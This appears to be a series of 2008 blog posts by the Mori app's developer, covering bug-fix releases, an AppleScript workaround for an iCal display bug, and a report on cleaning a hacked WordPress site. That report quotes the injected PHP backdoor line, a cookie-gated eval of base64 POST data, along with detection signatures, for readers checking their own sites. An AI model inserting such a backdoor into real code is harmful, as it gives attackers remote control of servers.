Another issue I frequently see in the logs is user activity which is denied. A few in particular are some pages which anonymous users were trying to access. Today, however, I noticed that a normal user tried to access one of those pages so I decided to investigate. That’s when I discovered he tried adding an entry to the Mori User Story page and the system refused him! How can we refuse a user’s desire to add his own story to the story page? So I fished around in the admin controls until I found a couple that might have prevented him from doing this generous thing for us. So, hopefully, he’ll once again feel the creative mood strike him to share his experiences with us. And if this oversight and ignorance on my part also hindered your desire to let the world know about the awesome work you’re doing in Mori, please give it another shot. The community is certainly happy to find more inspiration by what you’re doing. After releasing Mori 1.6.11, I know I certainly am!

That’s right. Mori 1.6.11 is finally out, and it’s got the major smackdown on a few nasties. First, problem #2608, freezing during Spotlight updating after emptying the trash. Fixed. Second, (hmm…no problem number. Oh, well.) user’s autosave interval not being respected by Mori. Fixed. And finally, a problem that I finally managed to isolate after the beta went out (which was this past Monday, July 7, 2008): intermittent crash when updating the live search database. That long-standing bug is now dead! (It’s so old I don’t even know where the bug report for it is.)

Anyway, enough progress has been made to Mori’s internal structure since the last update, that except for taking care of some long-neglected responsibilities this weekend, I’ve been working on the polish and features that will make it into 1.7! And I understand how frustrating it is not to know the details of what they are, but it would’ve given Mori’s competitors a chance to duplicate before it’s release. But I’m looking forward to its release so I can finally share what they are with you.

In the meantime, there’s still some issue with the mGTD plugin. So there might be a Mori 1.6.12 soon if we get the cause for it, and any other open bugs, nailed down in time.

Alfonso
P.S. Did you notice the View item in the toolbar? It allows you to select either table (immediate descendants) or outline mode for the entries view. I enabled that feature a few versions back. Give it a try, if you haven’t before. Also, try out the options for Layout in the View menu. The menu isn’t quite friendly enough yet, but it still gives you a lot of flexibility to work in your own style.

I believe I have corrected/removed the backdoor mechanisms which spammers have been using against the site, but there’s no evidence that the wacky WordPress system the site is now running on doesn’t have other compromised files, as well as the security holes through which the crackers originally got in.

Several compromised files had this line inserted at the beginning,

<?php if(md5($_COOKIE['_wp_debugger'])==”5fd808ac028e5197dd69318e32407eb7″){ eval(base64_decode($_POST['file'])); exit; } ?>

Others were disguised as image files, with file extensions of “pngg” and “jpgg”, and beginning with “

If you want to check your site for similarly compromised files and backdoors, search through your site code for signatures such as “qwerty”, “4008deadb16536f48b84fdc70f194dac”, “find suid files”, “_wp_debugger”, “5fd808ac028e5197dd69318e32407eb7″. The signatures are sure to change, as they’re used to activate the backdoor scripts, but at least you have a way to check current installations for these same spammers.

All in all, an unhealthy state of affairs for the Content Management System (CMS) industry. The market is still up for grabs.

In fact, as a way of making amends for any difficulty to those who couldn’t find the easter egg coupon, I’m posting it here so you won’t be hampered by the search. Our Easter mEgg Hunt coupon code is FABERGE1842, and the last day it will remain valid is April 6, 2008.

And an extra in fact, I’ll be issuing refunds for all purchases made during this period at our online store in the amount of the Easter mEgg Hunt discount [Done.]. So if you haven’t received your refund by the end of this day, please let me know and I’ll correct that for you.

If you weren’t participating in the hunt, please do, as it’s fun to watch the eggs collect in your basket as you visit the vendors taking part. Plus, you get the same 20% discount on their products as well!

Now, if you’ll excuse me, I’m going to continue hibernating for the night before resuming work on Oneill (Mori 1.7) in the morning.

Happy (Belated) Easter and Spring Season!

UPDATE 2008-03-28 5:06PM EDT: And, not really. Seems my coupon system is only using the coupon once, and then I have to reset it. I’m going to work on it some more.

Working with AppleScript is generally considered iffy, because a lot seems ambiguous and so much is dependent on how the dialect is interpreted and how scriptable apps handle some of the application events which scripting is dependent on. I’ve written scripts before, some I’m pretty awed by (that it works, actually, but also what it does), but I’m still hesitant to tackle some scripting issues. In addition, being a GTD greenhorn, and an mGTD noob made trying to respond to this issue authoritatively very questionable.

Thankfully, BMEGuy, mGTD’s author and all-around community nice guy, tackled the question with a quick solution. But the updated script was still problematic, and so I felt I really needed to participate in coming up with a solution.

Again, being an mGTD noob and all, it took me at least half an hour to figure out how the plugin worked, and the script on top of that. Then, after I was able to get the script to run, it worked for me. Hmm.

But that’s because I was testing with an entry with a date due of today. Once I switched it to later in the week, the entry was still showing up for today. Isn’t that odd? It seemed I had inadvertently left in the date line from the original script. When I removed it, I witnessed the same problem.

It turns out there’s a bug in MOX 10.4.11’s iCal 2.0.5 (I’m guessing it’s present in earlier versions as well) where it doesn’t properly update the calendar display for new events made by the script. You won’t see it in the monthly view. However, you might notice a little oddness in the weekly view.

You can see the event if you add ’show theEvent’ after the script makes a new display alarm for the event (between the 2nd and 3rd ‘end tell’ up from the bottom). This will display it’s properties in the info drawer, but you won’t see the event anywhere on the calendar (in either week or month view) until iCal is restarted.

Running the script in monthly view doesn’t show any artifact in the calendar, but the data is shown in the info drawer.

You could also run the script in the weekly view and then switch to the monthly view, in which case you get this:

So now that the question of the event’s presence in the calendar was settled in my mind, I had to figure out why my faulty script displayed the event, but not the proper one; and how to coax iCal to display it.

Being unfamiliar with mGTD still, I tried to figure out the difference between the attribute name “dateDue” and due date. due date is one of the standard properties for entries in a Mori document. attribute name “dateDue” is a user column added in the example mGTD notebook. You can view them all the user columns by selecting the menu item Edit > Edit Notebook Columns…

Okay, good so far, but why would one cause iCal to display properly and not the other? After moving the due date line about for a while, I checked Script Editor’s Event Log, and saw

The event reply for the due date had a missing value! Mori wasn’t returning a value for the due date property because it wasn’t set (and wouldn’t be in the example notebook). Now I had to find a way to use one of those missing values to make theEvent visible without setting it to the wrong date. And the problem with that is most of the properties used in Mori’s entries aren’t appropriate for an iCal event.

I eventually thought about re-ordering the messages to iCal instead of being so fixated on a change in the messages to Mori or playing with the properties being set in creating the event. What I came up with was a plan to use the messed up missing value date as before to make the event visible first, and then set the date correctly. The code turned out like this:

tell application "Mori"
	tell current entry
		set theDate to (get attribute name "dateDue")
		set faultyDate to due date
		set theName to name
		set theNote to note
	end tell
end tell
tell application "iCal"
	tell calendar "Scramble" -- the user should specify the name of the target calendar here
		set theEvent to make new event at end with properties {description:theNote, summary:theName, start date:faultyDate, allday event:true}
		tell theEvent
			make new display alarm at end with properties {trigger date:theDate}
		end tell
		-- show theEvent
		set theEvent's start date to theDate
	end tell
end tell

And to my surprise, it worked! So as I began gathering the materials together for my reply to the issue, I noticed something in the event’s info drawer that had escaped my attention before:

iCal, that’s just crazy talk! But at least it would explain why it would display traces of an event, if anything at all; and why it wasn’t noticeable earlier: iCal would correct the event data when reading it in when it started (”iCal database, that’s just crazy talk!”). But somebody forgot to add a sanity check when creating a new event from the properties passed to it by our script. (This is an example of why the Once and Only Once principle should be heeded. If there’s only one place where events are synthesized from pre-recorded values, whether those values are from a stored file, a script or the UI, then all those code paths will benefit from any sanity checks added to event creation.)

Knowing this, here’s another means of working around this bug, by sending iCal info that won’t confuse it:

tell application "Mori"
	tell current entry
		set theDate to (get attribute name "dateDue")
		-- set faultyDate to due date
		set theName to name
		set theNote to note
	end tell
end tell
tell application "iCal"
	tell calendar "Scramble" -- the user should specify the name of the target calendar here
		set theEvent to make new event at end with properties {description:theNote, summary:theName, start date:theDate, end date:(theDate + 1), allday event:true}
		tell theEvent
			make new display alarm at end with properties {trigger date:theDate}
		end tell
		-- show theEvent
		-- set theEvent's start date to theDate
	end tell
end tell

Thinking about these two solutions it’s clear that picking the latter one, with well-formed properties, is the safest choice to make. Here’s additional proof: the first solution, the one which plays with the start date to make the event appear, will indeed make the event appear. But if there’s less than 24 hours until the event begins, it will appear on the wrong date and still require iCal to be restarted to appear in the proper location!

It just goes to show you, while you might be able to get away with just the barest minimum, and someone else might normally clean up after you, it’s best if you did the job correctly from the start in case your safety net disappears from under you.

I had hoped for a quick release to get the fix out to those who are upgrading now (particularly from older, Hog Bay Software versions), but I had upgraded my Xcode installation mid-stream, which is generally a bad idea if you can’t test the effects a tool migration will have on your projects. And Mori is quite unique in the way it’s constructed, being almost entirely plugins, and plugins which run plugins.

It took a week to resolve unit testing problems, some of which were due to Mori’s unique project files, some of which were due to changes in the layout of Xcode’s tools directories and one due to a bug in the unit tests for the ‘Check and Repair Notebooks’ functionality (which I wasn’t going to risk going out with a bug whose cause I hadn’t determined).

Anyway, testing problems aside, I’m packaging the latest for release now. You’ll be able to read the release info shortly.

However, the true measure of one’s success are the goals he has set for himself. For success is the achievement of goals, and unless your goal was the possession of great many material possessions, you are no more successful by having them then you are in not.

Understanding this, we can say Bill Gates isn’t a success although he has achieved great material wealth. The goal he had established for Microsoft, as defined in their original mission statement, was “A computer on every desk and in every home, running Microsoft software.” This is the reason why Microsoft competes vigorously in any industry related to computer software or which is heavily dependent on software.

If you think I’m just nit-picking over minor details, then you’re getting the cart before the horse. You’re looking at their position of prominence and wealth as establishing their character; whereas by focusing on their mission, the people of Microsoft didn’t stop once they achieved a measure of material wealth. They kept trying harder and harder to dominate other markets, and risked that material wealth, until they eventually dominated those markets.

You’re also demonstrating a great deal of self-centeredness, measuring others against your own personal standard for success.

Chances are, when you first read the title of this entry you thought of the façade rather than the success. Hopefully, by thinking more clearly on what is the true measure of success, your personal measure of success, you’ll concentrate on those critical areas which will help you achieve them rather than the façade.

The debugger is failing in the middle of an initializer method (self becomes 0×1, and the argument becomes invalid), which typically indicates an invalid pointer, but I’m just using -[NSCharacterScanner scanInt:], which shouldn’t be so problematic. (But it is, after all, Cocoa.) And it turns out that isn’t the correct tactic to use anyway as I want to extract info from the internal version number (MMmmb.bs.rr), not the public (MM.mm.bb[s[rr]]), and Cocoa doesn’t have an API for handling fixed-length records. (Possibly the only functionality from COBOL I actually miss! I mean, there are BCD libraries for C, right?)

So I’ve spent much of the day tussling through docs and links for various RegEx frameworks for Cocoa, and trying to add RegexKit to the Blocks plugin framework; first 0.5beta and then 0.4beta via compilation. Now I’m attempting to use the prebuilt binary, which is problematic because frameworks are normally used by applications, not plugins, so it doesn’t exactly fit right (or run). But as the clock’s been ticking, it looks like it’s time to punt and attempt another tactic by hard-coding a parser for the internal version scheme or using defaults for the optional fields in the public version scheme.

This is just to fix the bugs in the version class I added in an earlier version, which I have to get out of the way to continue fleshing out the revamped defaults system I created with unit tests and component code in order to release! Argh!

It hasn’t been all sweat and tears, though. I went through a period of idea generation (both software and marketing/entrepreneurism) early during the process and also, last night as I was organizing several years of accumulated papers, bills and what-not, found several new UI ideas I had come up with (and forgotten) and the missing FreeHand install CDs.

Now to get these final PITA problems licked so I can continue to move Mori forward!